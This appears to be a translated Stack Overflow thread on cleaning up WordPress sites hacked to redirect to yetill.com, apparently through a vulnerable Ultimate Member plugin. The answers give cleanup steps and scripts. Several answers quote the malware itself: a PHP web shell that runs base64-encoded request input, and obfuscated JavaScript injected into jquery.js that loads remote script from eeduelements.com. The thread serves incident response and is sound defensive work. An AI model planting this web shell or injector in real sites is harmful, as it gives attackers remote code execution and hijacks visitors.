【问题标题】:Wordpress Site always redirects to yetill.comWordpress 网站总是重定向到 Yetill.com
【发布时间】:2019-01-20 21:30:02
【问题描述】:

谁能帮助我修复我的网站? 它总是重定向到 Yetill.com。我搜索了这个网站,发现它是一种恶意软件。 尝试了网上找到的各种解决方案,但仍然没有解决。

谢谢。

【问题讨论】:

  • 您从备份中恢复所有内容,并可能在该状态与当前状态之间进行比较,以查看发生了什么变化,如果您想知道的话。但是备份是要走的路,然后修复网站以防止这种情况再次发生。
  • 我必须比较每个文件吗?还是只是特定文件?
  • 您不必必须,只要您删除所有内容,恢复备份,并确保所有权限和更新都井井有条,如果这是来自外部的人在做这个。
  • 在管理员wordpress.org/plugins/wordfence 中安装此插件并扫描站点,如果没有,则重新上传备份,如果有,如果没有,请先重新上传 wp-admin 和 wp-include(注意:确保您上传正确的版本)然后重命名插件文件夹名称并尝试从您的主题中找到恶意代码。

标签: wordpress malware


【解决方案1】:

初步步骤:

  1. 备份所有内容
  2. 检查文件 wp-includes/js/jquery/jquery.js - 第一行应该只包含像 /*! jQuery v1.... 这样的注释删除该行之前的任何内容(你做了备份,对吗?)
  3. 检查您的 /wp-content/uploads 目录是否有可疑文件。对我们来说,我们有恶意文件,例如在这个子目录中:/ultimatemember/temp/[random dir]/n.php - 备份后删除那些。
  4. 安装 WordFence WP 插件并扫描您的网站
  5. 仔细检查 wp-includes/js/jquery/jquery.js 是否仍然正常(可以再次修改)
  6. 考虑使用 WordFence 选项“禁用上传目录的代码执行”,以防止将来入侵您的网站(测试!)。

背景:

我们有同样的问题。 Wordfence 注意到文件 wp-includes/js/jquery/jquery.js 在服务器上被修改。恢复到原始版本似乎可以解决它。但是,文件很快就被感染了(几个小时?)。所以我们还不知道来源...

我们在 /wp-content/uploads/ultimatemember/temp/[random dir]/n.php 中发现了一些可疑代码:

<?php file_put_contents('sdgsdfgsdg','<?php '.base64_decode($_REQUEST['q']));
include('sdgsdfgsdg'); unlink('sdgsdfgsdg'); ?>

这基本上是从外部执行任何 PHP 代码...

删除这些文件后,网站似乎恢复正常(几个小时)。

我们还注意到页面源代码中有一个可疑的&lt;a&gt; 标签;但不确定它的相关性。

<a class="html-attribute-value html-resource-link" target="_blank"
href="https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4"
rel="noreferrer noopener">https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4</a>

【讨论】:

  • 这里也一样。截至目前,该错误不再出现。
  • 尝试检查 'wp-content/uploads/plugin/' 中的临时文件。我在我的 jquery.js 文件中注入了恶意 jquery 函数。
  • 在 /wp-content/uploads/ultimatemember/temp/ 中发现了一些可疑内容 - 将其删除。你的路是什么?
  • 尝试在您的网站上安装 wordfence,这样就可以显示注入的恶意代码 :)
  • 我们安装了 wordfence。我的问题是你是否也安装了 Ultimatemember 插件,或者这只是巧合。
【解决方案2】:

这似乎是由您可能正在使用的某些插件的漏洞引起的。

就我而言,它是 Ultimate Member 插件的旧版本(2.22 之前)。

如果您使用的是此插件的 2.22 或更早版本,则应立即更新此插件,并清除临时文件。 (https://wordpress.org/support/topic/malicious-files-in-ultimate-members-plugin/)

之后,使用此命令搜索最近更新的文件。 (例如 15 天)

find ./ -type f -mtime -15

很可能是您的 WP jquery 文件和任何名称为“header”的文件都可能被感染。

/wp-includes/js/jquery/jquery.js
/wp-contents/your-theme/header.php
..

在受感染的头文件中删除以下脚本。

<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>

看起来这是在打开 head 标签之后和关闭 head 标签之前插入的。确保将两者都删除。

从受感染的 Jquery 文件中删除恶意插入的脚本,或者将文件替换为其他 WP Core 安装中的干净文件。

我认为这应该可以解决问题。

【讨论】:

    【解决方案3】:

    您将不得不进行一些故障排除。包含恶意代码的是您的主题或插件之一。

    按照以下步骤操作:

    • 切换到默认主题,如TwentySeventeen - 如果问题 持续存在,这意味着它不是您的主题。
    • 停用所有活动插件并检查网站 - 问题应该会消失。
    • 开始重新激活插件,每次重新激活后清除缓存 并检查您的网站 - 每当问题再次出现时,它就是 那个插件是罪魁祸首,你不能使用那个插件。

    希望这会有所帮助。

    【讨论】:

      【解决方案4】:

      在我的情况下,jquery 文件被感染了。把/*之前的代码删掉就好了! jQuery v1.12.4 | (c) jQuery 基金会 | jquery.org/license */ 并确保您的所有插件都已更新并且该站点是安全的。还要检查文件的权限!这对我有帮助

      【讨论】:

      • 会回来的,看看薇薇安的回答。
      • 是的,我发现你在 Ultimatemember 文件夹中说的同样的问题。但主要问题在哪里。注射的来源..
      • 这可能是主要问题。
      【解决方案5】:

      我们有同样的错误,这些文件被感染了。这是我在其中发现的恶意代码。

      wp-includes/js/jquery/jquery.js

      (function() { "use strict"; var _0xa8bd=["\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x72\x63\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x67\x65\x74\x2E\x70\x68\x70","\x6E\x75\x6C\x6C","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];function httpGet(_0xc4ecx2){var _0xc4ecx3= new XMLHttpRequest();_0xc4ecx3[_0xa8bd[1]](_0xa8bd[0],_0xc4ecx2,false);_0xc4ecx3[_0xa8bd[2]](null);return _0xc4ecx3[_0xa8bd[3]]}var curdomain=_0xa8bd[4];var newlink=httpGet(curdomain);if(newlink!= _0xa8bd[5]){(function(){var _0xc4ecx6=document[_0xa8bd[7]](_0xa8bd[6]);_0xc4ecx6[_0xa8bd[8]]= _0xa8bd[9];_0xc4ecx6[_0xa8bd[10]]= true;_0xc4ecx6[_0xa8bd[11]]= newlink;document[_0xa8bd[13]][_0xa8bd[12]](_0xc4ecx6)})()} })();
      

      主题/yourtheme/header.php

      <script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
      

      【讨论】:

      • 您能否详细说明您的答案。为什么他们“恶意”?如何解决?尝试使您的答案对未来的读者更有用。
      • 代码在header中添加了一个js重定向,我们还没有找到问题的根源。我们计划导出所有内容并全新安装 WP 以清除任何受感染的文件。
      【解决方案6】:

      这是我今天运行 securi 扫描仪后发现的。希望这对某人有所帮助,因为这是一个讨厌的人。 在我的情况下似乎会影响以下文件:

      • wp-admin/install.php
      • wp-includes/js/jquery/jquery.js
      • wp-includes/theme-compat/header-embed.php
      • wp-includes/theme-compat/header.php

      无论它在我的 wp-includes 目录中似乎已经失效。 我确实运行 Ultimate Member 插件,我注意到之前有人提到该插件的早期版本存在漏洞。我运行一个多站点网络,并且还注意到我的子站点上的两个注册表单具有管理员的默认角色(哪个插件供应商会发现作为默认注册选项安全?)启用了自动批准选项(没有验证电子邮件)。显然,在网络环境中激活这个插件需要对这些注册和登录表格进行一些额外的彻底审查。

      【讨论】:

      • (如果您还有其他问题,请作为单独的问题提出;在 WordPress 或网站管理员网站上可能会更好,因为这不是编程问题)。
      【解决方案7】:

      有同样的问题。 jquery 被感染,必须更换为原始版本。黑客很可能使用ultimatemember后门上传一个php文件并执行。我不得不清理插件临时目录。

      另一个观察结果是,黑客强制修改后的 jquery 加载脚本,该地址是从 http://src.eeduelements.com/get.php 加载的。这让他们可以灵活地轮播广告。

      【讨论】:

        【解决方案8】:
        sudo grep --include=\*.php -rnw . -e "<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>"
        

        连同下面的这个答案一起帮助我清理了我的文件。它影响了我所有的网站,但现在似乎仍然存在于拥有最终会员的网站上。仍在努力。这个 PHP 脚本虽然令人难以置信。非常感谢作者。

        PHP/SSH regex script/command to delete identical malware code from many files

        这是来自上述答案的 php。我刚刚用重定向到 Yetill 的恶意内容替换了 find 部分。

            <?php
        //Enter it as it is and escape any single quotes
        $find='<script type=\'text/javascript\' src=\'https://cdn.eeduelements.com/jquery.js?ver=1.0.8\'></script>';
        
        echo findString('./',$find);
        
        function findString($path,$find){
            $return='';
            ob_start();
            if ($handle = opendir($path)) {
                while (false !== ($file = readdir($handle))) {
                    if ($file != "." && $file != "..") {
                        if(is_dir($path.'/'.$file)){
                            $sub=findString($path.'/'.$file,$find);
                            if(isset($sub)){
                                echo $sub.PHP_EOL;
                            }
                        }else{
                            $ext=substr(strtolower($file),-3);
                            if($ext=='php'){
                                $filesource=file_get_contents($path.'/'.$file);
                                $pos = strpos($filesource, $find);
                                if ($pos === false) {
                                    continue;
                                } else {
                                //The cleaning bit
                                echo "The string '".htmlentities($find)."' was found in the file '$path/$file and exists at position $pos and has been removed from the source file.<br />";
                                $clean_source = str_replace($find,'',$filesource);
                                file_put_contents($path.'/'.$file,$clean_source);
                                }
                            }else{
                                continue;
                            }
                        }
                    }
                }
                closedir($handle);
            }
            $return = ob_get_contents();
            ob_end_clean();
            return $return;
        }
        ?>
        

        【讨论】:

          猜你喜欢
          • 2019-11-13
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2017-04-30
          • 1970-01-01
          • 1970-01-01
          • 2019-03-27
          • 1970-01-01
          相关资源
          最近更新 更多